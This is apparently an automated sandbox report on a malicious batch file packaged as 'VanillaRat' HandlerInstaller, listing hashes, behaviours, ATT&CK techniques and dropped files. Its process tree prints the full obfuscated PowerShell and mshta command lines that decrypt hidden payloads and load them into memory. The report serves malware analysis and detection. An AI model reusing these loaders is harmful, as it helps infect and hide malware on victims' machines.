e590d9d061fc38da277121abaf50c5d2432fe4cab8eb4fc347687d04c188f34b

Analysis

max time kernel
120s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
11/10/2023, 20:13

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General

Target

VanillaRat/Handlers/HandlerInstaller.bat
Size

12.4MB
MD5

36120c9b85ac8d0886754aea83b5f651
SHA1

f37d5eb87609e6312dc30b37f3b9568f788e1d9d
SHA256

3087b98c490a4be2e1e8d97a74edbacaab32c4162c49050408e9c86e0d1374eb
SHA512

973d80dd9f55c9219c0c1fcb194cb3151b872b2187a83abbcae53f9185a37877253962c116c282019e2309154b0ee0aba4675862f9e4eb4b0084a757ed7a8957
SSDEEP

49152:gfNOR3QlUQZ81jHk0IYRuKSGUhYHEPgU9XA1J8yWSUZ89FIJI25U3euQ6o2Mif+6:J

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 228 created 624	228	HandlerInstaller.bat.exe	6

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Executes dropped EXE 4 IoCs

pid	Process
228	HandlerInstaller.bat.exe
452	$sxr-mshta.exe
1156	$sxr-cmd.exe
2916	$sxr-powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 228 set thread context of 4608	228	HandlerInstaller.bat.exe	100
PID 228 set thread context of 4948	228	HandlerInstaller.bat.exe	104

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-powershell.exe	HandlerInstaller.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	HandlerInstaller.bat.exe
File created	C:\Windows\$sxr-mshta.exe	HandlerInstaller.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	HandlerInstaller.bat.exe
File created	C:\Windows\$sxr-cmd.exe	HandlerInstaller.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	HandlerInstaller.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
228	HandlerInstaller.bat.exe
228	HandlerInstaller.bat.exe
228	HandlerInstaller.bat.exe
4608	dllhost.exe
4608	dllhost.exe
4608	dllhost.exe
4608	dllhost.exe
4948	dllhost.exe
4948	dllhost.exe
4948	dllhost.exe
4948	dllhost.exe
228	HandlerInstaller.bat.exe
228	HandlerInstaller.bat.exe
2916	$sxr-powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	228	HandlerInstaller.bat.exe
Token: SeDebugPrivilege	228	HandlerInstaller.bat.exe
Token: SeDebugPrivilege	4608	dllhost.exe
Token: SeDebugPrivilege	4948	dllhost.exe
Token: SeDebugPrivilege	2916	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 228	1632	cmd.exe	94
PID 1632 wrote to memory of 228	1632	cmd.exe	94
PID 228 wrote to memory of 4608	228	HandlerInstaller.bat.exe	100
PID 228 wrote to memory of 4608	228	HandlerInstaller.bat.exe	100
PID 228 wrote to memory of 4608	228	HandlerInstaller.bat.exe	100
PID 228 wrote to memory of 4608	228	HandlerInstaller.bat.exe	100
PID 228 wrote to memory of 4608	228	HandlerInstaller.bat.exe	100
PID 228 wrote to memory of 4608	228	HandlerInstaller.bat.exe	100
PID 228 wrote to memory of 4608	228	HandlerInstaller.bat.exe	100
PID 228 wrote to memory of 1920	228	HandlerInstaller.bat.exe	101
PID 228 wrote to memory of 1920	228	HandlerInstaller.bat.exe	101
PID 228 wrote to memory of 1920	228	HandlerInstaller.bat.exe	101
PID 228 wrote to memory of 3524	228	HandlerInstaller.bat.exe	102
PID 228 wrote to memory of 3524	228	HandlerInstaller.bat.exe	102
PID 228 wrote to memory of 3524	228	HandlerInstaller.bat.exe	102
PID 228 wrote to memory of 2840	228	HandlerInstaller.bat.exe	103
PID 228 wrote to memory of 2840	228	HandlerInstaller.bat.exe	103
PID 228 wrote to memory of 2840	228	HandlerInstaller.bat.exe	103
PID 228 wrote to memory of 4948	228	HandlerInstaller.bat.exe	104
PID 228 wrote to memory of 4948	228	HandlerInstaller.bat.exe	104
PID 228 wrote to memory of 4948	228	HandlerInstaller.bat.exe	104
PID 228 wrote to memory of 4948	228	HandlerInstaller.bat.exe	104
PID 228 wrote to memory of 4948	228	HandlerInstaller.bat.exe	104
PID 228 wrote to memory of 4948	228	HandlerInstaller.bat.exe	104
PID 228 wrote to memory of 4948	228	HandlerInstaller.bat.exe	104
PID 228 wrote to memory of 4948	228	HandlerInstaller.bat.exe	104
PID 228 wrote to memory of 4948	228	HandlerInstaller.bat.exe	104
PID 452 wrote to memory of 1156	452	$sxr-mshta.exe	106
PID 452 wrote to memory of 1156	452	$sxr-mshta.exe	106
PID 1156 wrote to memory of 2916	1156	$sxr-cmd.exe	108
PID 1156 wrote to memory of 2916	1156	$sxr-cmd.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:624
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{5282e4a7-6927-40ac-ab96-4852c15f2762}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4608

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat.exe
  "HandlerInstaller.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function VROas($YFEKm){ $EnJnq=[System.Security.Cryptography.Aes]::Create(); $EnJnq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $EnJnq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $EnJnq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+mgHoM3Dd8LE9FhelB1+E49NCwweh3qyJF1GxhCe+k0='); $EnJnq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wwm30jhzkHC4/5SnlEDZGA=='); $pWYkp=$EnJnq.CreateDecryptor(); $return_var=$pWYkp.TransformFinalBlock($YFEKm, 0, $YFEKm.Length); $pWYkp.Dispose(); $EnJnq.Dispose(); $return_var;}function XcsVC($YFEKm){ $zQqyq=New-Object System.IO.MemoryStream(,$YFEKm); $emglC=New-Object System.IO.MemoryStream; $RGlqr=New-Object System.IO.Compression.GZipStream($zQqyq, [IO.Compression.CompressionMode]::Decompress); $RGlqr.CopyTo($emglC); $RGlqr.Dispose(); $zQqyq.Dispose(); $emglC.Dispose(); $emglC.ToArray();}function dnTmn($YFEKm,$CaEDQ){ $NmIfY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$YFEKm); $bqkrl=$NmIfY.EntryPoint; $bqkrl.Invoke($null, $CaEDQ);}$lpRaC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat').Split([Environment]::NewLine);foreach ($aneut in $lpRaC) { if ($aneut.StartsWith('SEROXEN')) { $zZPSp=$aneut.Substring(7); break; }}$jGZnr=[string[]]$zZPSp.Split('\');$yHwYZ=XcsVC (VROas ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jGZnr[0])));$QcHAi=XcsVC (VROas ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jGZnr[1])));dnTmn $QcHAi (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));dnTmn $yHwYZ (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:228
- - C:\Windows\SysWOW64\dllhost.exe
    C:\Windows\SysWOW64\dllhost.exe /Processid:{4ad4fd01-ec46-449a-8f0e-6b6a8a779ad9}
    3⤵
    PID:1920
- - C:\Windows\SysWOW64\dllhost.exe
    C:\Windows\SysWOW64\dllhost.exe /Processid:{a122e755-dbaa-4f17-a6d0-bfaac32acfce}
    3⤵
    PID:3524
- - C:\Windows\SysWOW64\dllhost.exe
    C:\Windows\SysWOW64\dllhost.exe /Processid:{6d605f28-3ab7-4550-bcae-35cb1d74d770}
    3⤵
    PID:2840
- - C:\Windows\SysWOW64\dllhost.exe
    C:\Windows\SysWOW64\dllhost.exe /Processid:{6638f5bf-7897-458e-a5fe-d5c01de1ba46}
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4948

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-MkCCpgMZesGBgQjTHDjR4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:452
- C:\Windows\$sxr-cmd.exe
  "C:\Windows\$sxr-cmd.exe" /c %$sxr-MkCCpgMZesGBgQjTHDjR4312:&#<?=%
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Windows\$sxr-powershell.exe
    C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function UdTTc($fvgoo){ $sihCR=[System.Security.Cryptography.Aes]::Create(); $sihCR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $sihCR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $sihCR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HCyEf1YafduI2gaayTiiJc0BcZzdl+wOYfZmYK/MNnc='); $sihCR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KN9rIUT3LMorVQMyobJ55g=='); $TeypB=$sihCR.('rotpyrceDetaerC'[-1..-15] -join '')(); $dmEot=$TeypB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($fvgoo, 0, $fvgoo.Length); $TeypB.Dispose(); $sihCR.Dispose(); $dmEot;}function rqQZg($fvgoo){ $ympdX=New-Object System.IO.MemoryStream(,$fvgoo); $YpWOM=New-Object System.IO.MemoryStream; $fxvtV=New-Object System.IO.Compression.GZipStream($ympdX, [IO.Compression.CompressionMode]::Decompress); $fxvtV.CopyTo($YpWOM); $fxvtV.Dispose(); $ympdX.Dispose(); $YpWOM.Dispose(); $YpWOM.ToArray();}function fbHSv($fvgoo,$amDjr){ $iypoS=[System.Reflection.Assembly]::Load([byte[]]$fvgoo); $mDfQt=$iypoS.EntryPoint; $mDfQt.Invoke($null, $amDjr);}$sihCR1 = New-Object System.Security.Cryptography.AesManaged;$sihCR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$sihCR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$sihCR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HCyEf1YafduI2gaayTiiJc0BcZzdl+wOYfZmYK/MNnc=');$sihCR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KN9rIUT3LMorVQMyobJ55g==');$khIZV = $sihCR1.('rotpyrceDetaerC'[-1..-15] -join '')();$QOKgA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l41V2WxL9jkprJcxS5Nj8A==');$QOKgA = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QOKgA, 0, $QOKgA.Length);$QOKgA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QOKgA);$gPPoi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('aROoNBcsZ/PW5d2DYHVzdO8nR2VzRJCqHmYigLb6Jrs=');$gPPoi = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gPPoi, 0, $gPPoi.Length);$gPPoi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gPPoi);$YyGbR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OkYia47+jaf2xVNWbMpC2Q==');$YyGbR = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YyGbR, 0, $YyGbR.Length);$YyGbR = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YyGbR);$NGxnm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UP/EOIJWq+4ghvON19uciyQbICBLdoMJpFC0ksKBSJnw4OjSJ3hNKvrvEz2D1CqWZeOjzkO6q7JNywlpjDo/HsSRUmq3ccngTHm9XJej3zwQT3J68V0tpZUrw5HlEx72QEBCzfoKwyEbutYu6tnr1aPtRABJ4gfBVc7hAGl7iFU1xOqulzEW9VCdQmV3l/XcqcwaWBGT4wqFMxb3ZLGT6dcBux6AJSpiqyO9qz1cMeCPoduh33z6ScFknrT57PjsKVugEp449IOSaJw/Zs5f9EG1eKOHsmSxGt55TMZKWpTlR+9ITlk1NoYWpUkwaocQ3BUDxHEdM58P2Tq0P5vFhBc7sNLjFZEo9FrrcNtCu/8C47g4vYoBrmKKGYmZBkTLyTUUtN/HfYPnelsAIjtdj976Vlk2ugGP1f2Y3nGeegA=');$NGxnm = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NGxnm, 0, $NGxnm.Length);$NGxnm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NGxnm);$zWEEc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('81O15VE8m4lB+MnqiTR1uA==');$zWEEc = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zWEEc, 0, $zWEEc.Length);$zWEEc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zWEEc);$eNHHL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BVmHLrMLSPnDAnkqy9pFoQ==');$eNHHL = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eNHHL, 0, $eNHHL.Length);$eNHHL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eNHHL);$qBjEF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pLtK/cPeeTiGMmymKQ6Fcw==');$qBjEF = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qBjEF, 0, $qBjEF.Length);$qBjEF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qBjEF);$pCyOn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2NYpuHYegPYo5qCfIlZhMQ==');$pCyOn = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCyOn, 0, $pCyOn.Length);$pCyOn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($pCyOn);$qGSgp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xFmRHuVf/LPmEPegX+g5Zw==');$qGSgp = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qGSgp, 0, $qGSgp.Length);$qGSgp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qGSgp);$QOKgA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6P/YK+QQ0JTDdLrribGmsA==');$QOKgA0 = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QOKgA0, 0, $QOKgA0.Length);$QOKgA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QOKgA0);$QOKgA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lIYWfiAlubjLUZJrugkuA==');$QOKgA1 = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QOKgA1, 0, $QOKgA1.Length);$QOKgA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QOKgA1);$QOKgA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('//+9JxvND8cXl6QyLO8bkA==');$QOKgA2 = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QOKgA2, 0, $QOKgA2.Length);$QOKgA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QOKgA2);$QOKgA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0KfLJH3W0jtfi/p3tJXm2Q==');$QOKgA3 = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QOKgA3, 0, $QOKgA3.Length);$QOKgA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QOKgA3);$khIZV.Dispose();$sihCR1.Dispose();if (@(get-process -ea silentlycontinue $QOKgA3).count -gt 1) {exit};$wGOvn = [Microsoft.Win32.Registry]::$pCyOn.$qBjEF($QOKgA).$eNHHL($gPPoi);$agzwV=[string[]]$wGOvn.Split('\');$alLGs=rqQZg(UdTTc([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($agzwV[1])));fbHSv $alLGs (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$vPzyo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($agzwV[0]);$sihCR = New-Object System.Security.Cryptography.AesManaged;$sihCR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$sihCR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$sihCR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HCyEf1YafduI2gaayTiiJc0BcZzdl+wOYfZmYK/MNnc=');$sihCR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KN9rIUT3LMorVQMyobJ55g==');$TeypB = $sihCR.('rotpyrceDetaerC'[-1..-15] -join '')();$vPzyo = $TeypB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vPzyo, 0, $vPzyo.Length);$TeypB.Dispose();$sihCR.Dispose();$ympdX = New-Object System.IO.MemoryStream(, $vPzyo);$YpWOM = New-Object System.IO.MemoryStream;$fxvtV = New-Object System.IO.Compression.GZipStream($ympdX, [IO.Compression.CompressionMode]::$QOKgA1);$fxvtV.$qGSgp($YpWOM);$fxvtV.Dispose();$ympdX.Dispose();$YpWOM.Dispose();$vPzyo = $YpWOM.ToArray();$GJmqW = $NGxnm | IEX;$iypoS = $GJmqW::$QOKgA2($vPzyo);$mDfQt = $iypoS.EntryPoint;$mDfQt.$QOKgA0($null, (, [string[]] ($YyGbR)))
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wmdfzols.wqo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Windows\$sxr-powershell.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Windows\$sxr-powershell.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/228-27-0x00007FFE8A4A0000-0x00007FFE8A4B9000-memory.dmp

Filesize
100KB

Download
memory/228-34-0x0000026B26FA0000-0x0000026B26FAA000-memory.dmp

Filesize
40KB

Download
memory/228-22-0x0000026B0EC40000-0x0000026B0EC64000-memory.dmp

Filesize
144KB

Download
memory/228-23-0x00007FFE9DA50000-0x00007FFE9DC45000-memory.dmp

Filesize
2.0MB

Download
memory/228-24-0x00007FFE9CAB0000-0x00007FFE9CB6E000-memory.dmp

Filesize
760KB

Download
memory/228-25-0x0000026B27E50000-0x0000026B2889E000-memory.dmp

Filesize
10.3MB

Download
memory/228-20-0x0000026B26E20000-0x0000026B26E30000-memory.dmp

Filesize
64KB

Download
memory/228-19-0x0000026B26E20000-0x0000026B26E30000-memory.dmp

Filesize
64KB

Download
memory/228-28-0x0000026B288A0000-0x0000026B28944000-memory.dmp

Filesize
656KB

Download
memory/228-29-0x0000026B28950000-0x0000026B289A6000-memory.dmp

Filesize
344KB

Download
memory/228-30-0x0000026B289B0000-0x0000026B28A08000-memory.dmp

Filesize
352KB

Download
memory/228-31-0x0000026B0EC70000-0x0000026B0EC92000-memory.dmp

Filesize
136KB

Download
memory/228-32-0x00007FFE9DA50000-0x00007FFE9DC45000-memory.dmp

Filesize
2.0MB

Download
memory/228-21-0x0000026B26E20000-0x0000026B26E30000-memory.dmp

Filesize
64KB

Download
memory/228-13-0x0000026B278B0000-0x0000026B278D2000-memory.dmp

Filesize
136KB

Download
memory/228-14-0x00007FFE7E1A0000-0x00007FFE7EC61000-memory.dmp

Filesize
10.8MB

Download
memory/228-51-0x00007FFE8A4A0000-0x00007FFE8A4B9000-memory.dmp

Filesize
100KB

Download
memory/228-15-0x0000026B26E20000-0x0000026B26E30000-memory.dmp

Filesize
64KB

Download
memory/228-18-0x00007FFE7E1A0000-0x00007FFE7EC61000-memory.dmp

Filesize
10.8MB

Download
memory/228-17-0x0000026B26E20000-0x0000026B26E30000-memory.dmp

Filesize
64KB

Download
memory/228-16-0x0000026B26E20000-0x0000026B26E30000-memory.dmp

Filesize
64KB

Download
memory/4608-37-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4608-35-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4948-40-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/4948-38-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download